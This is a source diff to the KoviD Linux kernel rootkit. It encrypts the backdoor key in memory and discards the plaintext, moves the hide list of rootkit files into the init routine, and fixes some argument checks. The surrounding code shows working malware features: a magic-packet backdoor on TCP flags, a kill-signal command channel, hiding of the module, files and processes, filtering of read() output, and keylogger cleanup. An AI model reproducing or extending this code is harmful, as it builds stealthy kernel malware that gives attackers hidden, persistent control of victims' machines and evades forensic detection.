diff --git a/Makefile b/Makefile index 41a5e26..3e71932 100644 --- a/Makefile +++ b/Makefile @@ -5,7 +5,7 @@ OBJNAME=kovid ifndef DEPLOY DEBUG_PR := -DDEBUG_RING_BUFFER endif - +STRIP=$(shell which strip) LD=$(shell which ld) AS=$(shell which as) CTAGS=$(shell which ctags) @@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -DPROCNAME='"$(PROCNAME)"' \ EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \ - src/sock.c src/util.c src/vm.c + src/sock.c src/util.c src/vm.c src/crypto.c persist=src/persist @@ -42,13 +42,12 @@ obj-m := ${OBJNAME}.o CC=gcc - all: persist # TODO: Check if we can generate a random PROCNAME, something like: # PROCNAME ?= $(shell uuidgen | cut -c1-8) $(if $(PROCNAME),,$(error ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name")) - sed -i 's/^#define BDKEY .*/#define BDKEY $(BDKEY)/' src/auto.h - sed -i 's/^#define UNHIDEKEY .*/#define UNHIDEKEY $(UNHIDEKEY)/' src/auto.h + sed -i 's/^static uint64_t auto_bdkey = .*/static uint64_t auto_bdkey = $(BDKEY);/' src/auto.h + sed -i 's/^static uint64_t auto_unhidekey = .*/static uint64_t auto_unhidekey = $(UNHIDEKEY);/' src/auto.h make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules @echo -n "Save this Backdoor KEY: " @echo $(BDKEY) | sed 's/^0x//' @@ -67,12 +66,15 @@ lgtm: persist make -C /lib/modules/$(shell dpkg --status linux-headers-generic |grep ^Depends| \ cut -d ":" -f2| sed 's/ linux-headers-//g')/build M=$(PWD) modules +strip: + $(STRIP) -v -g $(OBJNAME).ko + clean: @make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean @rm -f *.o src/*.o $(persist) @git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \ -- src/persist.S 2>/dev/null || true - @git checkout b5b1976947f16e4f8ac1e1778ef5984a7c47b824 \ + @git checkout a9d711472292ad23c284f701fc8848f2947cc224 \ -- src/auto.h 2>/dev/null || true @echo "Clean." diff --git a/src/auto.h b/src/auto.h index 15ab26e..a8a27cd 100644 --- a/src/auto.h +++ b/src/auto.h @@ -6,7 +6,7 @@ #ifndef __AUTO_H #define __AUTO_H -#define BDKEY 0x0000000000000000 -#define UNHIDEKEY 0x0000000000000000 +static uint64_t auto_bdkey = 0x0000000000000000; +static uint64_t auto_unhidekey = 0x0000000000000000; #endif diff --git a/src/crypto.c b/src/crypto.c new file mode 100644 index 0000000..9c2aea7 --- /dev/null +++ b/src/crypto.c @@ -0,0 +1,189 @@ +#include +#include +#include +#include +#include +#include +#include +#include "log.h" +#include "crypto.h" +#include "lkm.h" + +/** internal use transformation handle */ +static struct crypto_skcipher *tfm; + +/** + * Setup encryption key + * Must be called once from KoviD initialization + */ +#define ENCKEY_LEN 32 /** aes 256 */ +int kv_crypto_key_init(void) { + static char key[ENCKEY_LEN] = {0}; + int rc; + + /** Allocate AES-CBC */ + if (!crypto_has_skcipher("cbc(aes)", 0, 0)) { + prerr("Cipher not found\n"); + return 0; + } + + /** Allocate for transformation + * Shared across all instances + */ + tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0); + if (IS_ERR(tfm)) { + prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm)); + return 0; + } + + get_random_bytes(key, ENCKEY_LEN); + + /** Finally, set the key */ + rc = crypto_skcipher_setkey(tfm, key, ENCKEY_LEN); + if (rc < 0) { + prerr("Key init error %d\n", rc); + crypto_free_skcipher(tfm); + return 0; + } + + return rc; +} + +/** Encryption init + * Called for each encryption operation */ +struct kv_crypto_st *crypto_init(void) { + struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); + if (!kvmgc) { + prerr("Failed to allocate memory for vars\n"); + return NULL; + } + + kvmgc->req = skcipher_request_alloc(tfm, GFP_KERNEL); + if (!kvmgc->req) { + prerr("Failed to allocate request\n"); + return NULL; + } + + /** Generate a random IV each time */ + get_random_bytes(kvmgc->iv, sizeof(kvmgc->iv)); + + return kvmgc; +} + +size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) { + size_t copied = 0; + int rc; + u8 iv_orig[16] = {0}; + + if (!kvmgc || !buf) { + prerr("Invalid decrypt ptr\n"); + return 0; + } + + kvmgc->kv_data.buf = kmalloc(buflen, GFP_KERNEL); + if (!kvmgc->kv_data.buf) { + prerr("Memory error\n"); + return 0; + } + + /** debug */ + print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); + + memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); + + sg_init_one(&kvmgc->sg, buf, buflen); + skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv); + + /** encrypt */ + rc = crypto_skcipher_encrypt(kvmgc->req); + if (rc < 0) { + prerr("Encryption failed %d\n", rc); + kfree(kvmgc->kv_data.buf); + return 0; + } + + copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen); + if (copied != buflen) { + prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied); + kfree(kvmgc->kv_data.buf); + return 0; + } + + print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); + + memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); + memcpy(kvmgc->kv_data.buf, buf, buflen); + kvmgc->kv_data.buflen = buflen; + + return copied; +} + +size_t kv_decrypt(struct kv_crypto_st *kvmgc, decrypt_callback cb, void *userdata) { + size_t copied = 0; + + if (!kvmgc || !kvmgc->kv_data.buf || !cb) { + prerr("Invalid decrypt argument\n"); + } else { + u8 iv_orig[16] = {0}; + size_t buflen = kvmgc->kv_data.buflen; + u8 data_orig[buflen]; + int err = 0; + + memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); + memcpy(data_orig, kvmgc->kv_data.buf, buflen); + + sg_init_one(&kvmgc->sg, kvmgc->kv_data.buf, buflen); + skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv); + + /** decrypt */ + err = crypto_skcipher_decrypt(kvmgc->req); + if (err) { + prerr("Decryption failed\n"); + } + + copied = sg_copy_to_buffer(&kvmgc->sg, 1, kvmgc->kv_data.buf, buflen); + if (copied != buflen) { + prerr("encrypted count mismatch, expected %lu, copied %ld\n", buflen, copied); + return 0; + } + + { + /** user callback */ + const u8 * const buf = kvmgc->kv_data.buf; + cb(buf, buflen, copied, userdata); + } + + memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); + memcpy(kvmgc->kv_data.buf, data_orig, buflen); + } + + return copied; +} + +void kv_crypto_free_data(struct kv_crypto_st *kvmgc) { + if (kvmgc && kvmgc->kv_data.buf) { + kfree(kvmgc->kv_data.buf); + kvmgc->kv_data.buf = NULL; + } +} + +void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) { + + if (kvmgc) { + kv_crypto_free_data(kvmgc); + if (kvmgc->req) { + kfree(kvmgc->req); + kvmgc->req = NULL; + } + + kfree(kvmgc); + kvmgc = NULL; + } +} + +void kv_crypto_deinit(void) { + if (tfm) { + kfree(tfm); + tfm = NULL; + } +} diff --git a/src/crypto.h b/src/crypto.h new file mode 100644 index 0000000..76e5ba2 --- /dev/null +++ b/src/crypto.h @@ -0,0 +1,16 @@ +#ifndef __CRYPTO_H +#define __CRYPTO_H + +struct kv_data_st { + u8 *buf; + size_t buflen; +}; + +struct kv_crypto_st { + u8 iv[16]; + struct scatterlist sg; + struct skcipher_request *req; + struct kv_data_st kv_data; +}; + +#endif diff --git a/src/fs.c b/src/fs.c index c2a0ef7..58f2982 100644 --- a/src/fs.c +++ b/src/fs.c @@ -325,7 +325,7 @@ int fs_file_rm(char *name) { return -EINVAL; rm[2] = name; - if (ret = kv_run_system_command(rm)) + if ((ret = kv_run_system_command(rm))) prerr("Error removing %s\n", name); return ret; diff --git a/src/kovid.c b/src/kovid.c index c09d30a..4fd8c68 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -25,7 +25,9 @@ #include #include #include +#include +#include "crypto.h" #include "lkm.h" #include "fs.h" #include "version.h" @@ -71,7 +73,7 @@ static DEFINE_SPINLOCK(elfbits_spin); #error "fuuuuuu Support is only for x86-64" #endif -#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,11,0) +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,16,0) #pragma message "!! Warning: Unsupported kernel version GOOD LUCK WITH THAT! !!" #endif @@ -485,14 +487,14 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, kv_show_all_tasks(); break; case Opt_hide_task_backdoor: - if (sscanf(args[0].from, "%d", &pid)) + if (sscanf(args[0].from, "%d", &pid) == 1) kv_hide_task_by_pid(pid, 1, CHILDREN); break; case Opt_list_hidden_tasks: kv_show_saved_tasks(); break; case Opt_rename_hidden_task: - if (sscanf(args[0].from, "%d", &pid)) + if (sscanf(args[0].from, "%d", &pid) == 1) kv_rename_task(pid, args[1].from); break; case Opt_hide_module: @@ -502,7 +504,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, { uint64_t val; if ((sscanf(args[0].from, "%llx", &val) == 1) && - UNHIDEKEY == val) { + auto_unhidekey == val) { kv_unhide_mod(); } } @@ -555,7 +557,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, break; case Opt_fetch_base_address: { - if (sscanf(args[0].from, "%d", &pid)) { + if (sscanf(args[0].from, "%d", &pid) == 1) { unsigned long base; char bits[32+1] = {0}; base = kv_get_elf_vm_start(pid); @@ -748,6 +750,15 @@ static int __init kv_init(void) { struct kernel_syscalls *kaddr = NULL; #endif + /* + * Hide these names from write() fs output + */ + static const char *hide_names[] = { + ".kovid", "kovid", "kovid.ko", UUIDGEN ".ko", + UUIDGEN ".sh", ".sshd_orig", NULL + }; + + /** show current version for when running in debug mode */ prinfo("version %s\n", KOVID_VERSION); @@ -787,6 +798,10 @@ static int __init kv_init(void) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0) cont: #endif + /** Init crypto engine */ + kv_crypto_key_init(); + + tsk_sniff = kv_sock_start_sniff(); if (!tsk_sniff) goto unroll_init; @@ -801,14 +816,13 @@ static int __init kv_init(void) { kv_hide_task_by_pid(tsk_tainted->pid, 0, CHILDREN); /** hide magic filenames & directories */ - fs_add_name_ro(kv_hide_str_on_load, 0); + fs_add_name_ro(hide_names, 0); /** hide magic filenames, directories and processes */ fs_add_name_ro(kv_get_hide_ps_names(), 0); kv_scan_and_hide(); - #ifndef DEBUG_RING_BUFFER kv_hide_mod(); op_lock = 1; @@ -838,6 +852,7 @@ static int __init kv_init(void) { } static void __exit kv_cleanup(void) { + sys_deinit(); kv_pid_cleanup(); @@ -860,6 +875,8 @@ static void __exit kv_cleanup(void) { fs_names_cleanup(); + kv_crypto_deinit(); + prinfo("unloaded.\n"); } diff --git a/src/lkm.h b/src/lkm.h index f2993b6..d88c7c7 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -89,6 +89,16 @@ struct kernel_syscalls { unsigned long *tainted; }; +typedef void (*decrypt_callback)(const u8 * const buf, size_t buflen, size_t copied, void *userdata); +/** Setup crypto module */ +int kv_crypto_key_init(void); +struct kv_crypto_st *crypto_init(void); +size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t); +size_t kv_decrypt(struct kv_crypto_st *, decrypt_callback, void *userdata); +void kv_crypto_free_data(struct kv_crypto_st *); +void kv_crypto_mgc_deinit(struct kv_crypto_st *); +void kv_crypto_deinit(void); + /** hooks, hiding presence and so */ bool sys_init(void); void sys_deinit(void); @@ -137,14 +147,6 @@ int kv_run_system_command(char **); /** VM operations */ unsigned long kv_get_elf_vm_start(pid_t); -/* - * Hide these names from write() fs output - */ -static const char *kv_hide_str_on_load[] = { - ".kovid", "kovid", "kovid.ko", UUIDGEN ".ko", - UUIDGEN ".sh", ".sshd_orig", NULL -}; - enum { KV_TASK, /* The following indicates a backdoor diff --git a/src/sock.c b/src/sock.c index fc3fddb..9351440 100644 --- a/src/sock.c +++ b/src/sock.c @@ -31,6 +31,8 @@ struct iph_node_t { }; struct task_struct *tsk_iph = NULL; +static struct kv_crypto_st *kvmgc_bdkey; + #define BD_PATH_NUM 3 #define BD_OPS_SIZE 2 enum { @@ -426,9 +428,24 @@ static int _bd_watchdog(void *t) #endif } +static struct check_bdkey_t { + bool ok; + uint64_t address_value; +}; + +void _bdkey_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) { + struct check_bdkey_t *validate = (struct check_bdkey_t*)userdata; + if (validate && validate->address_value) { + if (validate->address_value == *((uint64_t*)buf)) + validate->ok = true; + } +} + bool kv_check_bdkey(struct tcphdr *t, struct sk_buff *skb) { uint8_t silly_word = 0; enum { FUCK=0x8c, CUNT=0xa5, ASS=0x38 }; + decrypt_callback cbkey = (decrypt_callback)_bdkey_callback; + extern struct kv_crypto_st *kvmgc_bdkey; silly_word = t->fin << 7| t->syn << 6| t->rst << 5| t->psh << 4| t->ack << 3| t->urg << 2| t->ece <<1| t->cwr; @@ -439,6 +456,7 @@ bool kv_check_bdkey(struct tcphdr *t, struct sk_buff *skb) { unsigned char *data = skb->data + 40; if (skb->len >= sizeof(struct tcphdr) + sizeof(struct iphdr) + 8) { + struct check_bdkey_t validate = {0}; address_value = ((unsigned long)data[0] << 56) | ((unsigned long)data[1] << 48) | ((unsigned long)data[2] << 40) | @@ -447,8 +465,11 @@ bool kv_check_bdkey(struct tcphdr *t, struct sk_buff *skb) { ((unsigned long)data[5] << 16) | ((unsigned long)data[6] << 8) | (unsigned long)data[7]; - if (address_value == BDKEY) + validate.address_value = address_value; + kv_decrypt(kvmgc_bdkey, cbkey, &validate); + if (validate.ok == true) { return true; + } } } return false; @@ -570,6 +591,23 @@ struct task_struct *kv_sock_start_sniff(void) { static struct nf_priv priv; struct task_struct *tsk = NULL; + /** + * Init bdkey enc + */ + kvmgc_bdkey = crypto_init(); + if (kvmgc_bdkey) { + /** for the aes-256, 16 bytes + * is minimum data size + */ + size_t datalen = 16; + u8 buf[16] = {0}; + memcpy(buf, &auto_bdkey, 8); + kv_encrypt(kvmgc_bdkey, buf, datalen); + + /** discard saved key */ + auto_bdkey = 0; + } + // load sniffer if (!*running) { // Hook pre routing @@ -641,6 +679,7 @@ void kv_sock_stop_sniff(struct task_struct *tsk) { _free_kfifo_items(); kfifo_free(&buffer); + kv_crypto_mgc_deinit(kvmgc_bdkey); } void kv_sock_stop_fw_bypass(void) { diff --git a/src/sys.c b/src/sys.c index 7e93696..cdaeb48 100644 --- a/src/sys.c +++ b/src/sys.c @@ -33,7 +33,7 @@ sys64 real_m_bpf; sys64 real_m_read; #define PT_REGS_PARM1(x) ((x)->di) -#define PT_REGS_PARM2(x) ((x)->si) +#define PT_REGS_PARM2(x) ((const char *const *)(x)->si) #define PT_REGS_PARM3(x) ((x)->dx) #define PT_REGS_PARM4(x) ((x)->cx) #define PT_REGS_PARM5(x) ((x)->r8) @@ -134,7 +134,7 @@ static asmlinkage long m_clone(struct pt_regs *regs) static asmlinkage long m_kill(struct pt_regs *regs) { pid_t pid = (pid_t)PT_REGS_PARM1(regs); - int sig = (int)PT_REGS_PARM2(regs); + unsigned long sig = (unsigned long)PT_REGS_PARM2(regs); /** Open/Close commands interface */ if (31337 == pid && SIGCONT == sig) { @@ -182,7 +182,7 @@ static asmlinkage long m_kill(struct pt_regs *regs) static bool is_sys_parent(unsigned int fd) { struct dentry *dentry; struct dentry *parent_dentry; - char *path_buffer; + char *path_buffer, *parent_path; bool rv = false; struct fd f = fdget(fd); @@ -198,7 +198,7 @@ static bool is_sys_parent(unsigned int fd) { goto out; } - char *parent_path = d_path(&f.file->f_path, path_buffer, PAGE_SIZE); + parent_path = d_path(&f.file->f_path, path_buffer, PAGE_SIZE); if (!IS_ERR(parent_path)) { if (!strncmp(parent_path, "/proc", 5) || !strncmp(parent_path, "/sys",4) || @@ -295,8 +295,8 @@ static asmlinkage long m_read(struct pt_regs *regs) { arg = (const char __user*)PT_REGS_PARM2(regs); if (!copy_from_user((void *)buf, (void *)arg, size)) { - char *dest = (strstr(buf, MODNAME) || strstr(buf, "kovid") || - strstr(buf, "journald")); + int dest = ((strstr(buf, MODNAME) || strstr(buf, "kovid") || + strstr(buf, "journald"))); if (!dest) goto out; @@ -868,8 +868,6 @@ static void _keylog_cleanup_list(void) { } void _keylog_cleanup(void) { - char *tty; - _keylog_cleanup_list(); fs_kernel_close_file(ttyfilp); fs_file_rm(sys_get_ttyfile());